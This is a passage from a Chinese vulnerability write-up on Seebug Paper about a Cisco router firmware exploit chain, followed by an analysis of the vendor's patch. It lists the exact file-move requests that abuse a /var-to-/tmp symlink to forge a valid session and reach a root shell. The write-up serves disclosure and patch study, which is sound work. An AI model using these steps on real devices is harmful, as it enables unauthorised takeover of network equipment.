还有个问题需要解决的是如何确定传上去的两个文件的名称。这可以通过利用任意文件移动漏洞备份/tmp/www/index.html,然后随意上传一个文件,再利用任意文件移动漏洞依次序将/tmp/upload/0000000000移动至/tmp/www/index.html,访问主页,如果主页内容发生变化,即可得到序号,下一次再将两个文件上传,文件名称即为刚刚得到的序号递增的两个序号。

第二步是利用任意文件移动漏洞将刚刚伪造的sessionsession id文件移动至/tmp目录下,实现有效session的伪造。前面说过该任意文件移动只能将任意的文件移动到/tmp/www目录下,而websession文件夹则在/tmp目录下,如何才能够通过这个漏洞将我们的文件移动到/tmp目录下呢?

解决方法可以利用/var这个目录,该目录是/tmp目录到链接,将该目录移动至/tmp/www目录下,后续再往/tmp/www/var目录下去移动文件即可实现将文件移动至/tmp目录中。

/tmp # ls -al / | grep var
lrwxrwxrwx    1 root     root             4 Oct 22  2021 var -> /tmp

这个过程也要利用一些空的文件夹(3g-4g-driver out_certs certs firmware pnp_config)的移动来实现,具体的操作流程如下所示。第一行是post数据包放的内容,第二行是实现的效果。

# /tmp/websession websession_bak
mv /tmp/websession /tmp/www/websession_bak

# /tmp/3g-4g-driver websession
mv /tmp/3g-4g-driver /tmp/www/websession

# /tmp/upload/0000000016 session
mv /tmp/upload/0000000016 /tmp/www/session

# /tmp/firmware token
mv /tmp/firmware /tmp/www/token

# /tmp/upload/0000000017 dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
mv /tmp/upload/0000000017 /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8

# /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 token
mv /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 /tmp/www/token

# /tmp/www/token websession
mv /tmp/www/token /tmp/www/websession

# /tmp/www/session websession
mv /tmp/www/session /tmp/www/websession

# /var tmp
mv /var /tmp/www/tmp

# /tmp/www/websession tmp
mv /tmp/www/websession /tmp/www/tmp

经过上面的两步一后,即可用认证后的代码执行漏洞拿到root shell

漏洞补丁

官网下载新的固件,binwalk解压查看内容,对三个漏洞逐个查看。

任意文件上传漏洞似乎没有修复,cisco可能认为它是nginx的一个正常功能。

location /api/operations/ciscosb-file:form-file-upload {
    set $deny 1;

    if ($http_authorization != "") {
        set $deny "0";
    }

    if ($deny = "1") {
        return 403;
    }


    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

任意文件移动漏洞的修复没有限制/form-file-upload的访问,而是在upload.cgi进行了修补。可以看到它在调用prepare_file之前会校验源目的地地址,从而修复了任意文件移动漏洞。

  jsonutil_get_string(dword_2348C, &file_path, "\"file.path\"", -1);
  ...
  if ( !file_path || match_regex("^/tmp/upload/[0-9]{10}$", file_path) )
  {
    puts("Content-type: text/html\n");
    printf("Error Input");
    goto LABEL_31;
  }

最后再来看看命令执行漏洞,update-clients脚本内容未发生变化,但是yang接口定义却有变化。可以看到它限制了hostname的类型,同时将os等参数去掉了,导致无法形成注入。

    rpc update-clients {
        input {
            list clients {
                key mac;
                leaf mac {
                    type yang:mac-address;
                    mandatory true;
                }
                leaf hostname {
                    type inet:domain-name;
                }

                uses ciscosb-security-common:DEVICE-OS-TYPE;
            }
        }
    }

总结

配置文件的缺陷看起来微不足道,经过精心构造却能导致严重的漏洞。三个漏洞很巧妙,能够给人很多的启发。

参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1890/